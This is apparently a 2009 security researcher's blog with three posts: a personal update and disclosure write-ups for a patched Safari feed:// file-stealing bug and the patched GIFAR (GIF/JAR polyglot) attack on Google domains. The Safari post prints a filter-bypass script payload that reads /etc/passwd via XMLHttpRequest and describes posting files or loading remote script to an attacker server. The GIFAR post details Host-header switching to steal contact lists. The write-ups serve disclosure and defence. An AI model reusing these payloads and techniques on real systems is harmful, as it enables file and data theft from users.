Monday, March 30th, 2009
Whew! It’s been a busy couple of months for me. I’m always curious as to how I get so much on my plate. A quick recap of some of the stuff I’ve been working on / or have coming in the near future:
1) HITB Dubai is almost here! I’ve been selected to give two talks at HITB in Dubai. Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai. Dhillon is always an EXCELLENT host and I’m looking forward to seeing the sights . As for the talks I’ll be giving in Dubai, the first (Biting the Hand that Feeds You – Reloaded) is an extension of a talk Nate McFeters and I gave at Defcon 15. It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications. It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified). For the second talk (Cross Domain Leakiness), I’ll be co-presenting with Chris Evans from Google. Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms. I’m also looking forward to seeing Nitesh Dhanjani’s talk (Psychotronica). I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!
2) Jeff Carr put out the second paper in the Grey Goose Series (first paper here, second paper here). Contact Jeff directly if you are interested in getting a GOVT only version of the papers. Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies. The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems. Jeff focuses on analysis related to politically motivated events around the world. I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background. Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO Cooperative Cyber Defence Centre of Excellence. We’ll be presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers. We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).
3) My studies as an MBA student continue. Once I finish this semester, I’ll have two classes left. I’m currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems. I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc). I see things like the No More Free Bugs (NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth > $0.00. It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers. Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell. I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized. How much is a Gmail XSS or CSRF worth? Are there ways to monetize?
4) I’m co-authoring a book… more on this later
5) I’ve started a really cool project at work that will consume lots of time…
6) Oh yeah…. I have a ~3 month old baby girl that demands all my free time J
Where does the time go?!?!
Friday, February 13th, 2009
Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them. The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here. As always, Apple was excellent in their handling of the issue. Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I’ll buy you guys a couple beers.
Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway 
When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)
First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:
feed://http://xs-sniper.com/blog/feed/
RSS files are basically XML files that contain content that can be rendered by RSS readers. In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:
<content:encoded><![CDATA[ .... ></content:encoded>
It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://
<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>
Which resulted in the following being rendered by Safari:
….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….
As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well. Despite the filtering, the HTML is valid and we now have script execution in the context of feed://. Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"
Proof of concept can be found here.
http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php
The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished. For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.
I’m very interested in vulnerabilities like this. We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort. Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.
Wednesday, December 17th, 2008
Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:
The footer looks something like this:
We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.
After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.
Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.
Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.
When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.
It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.
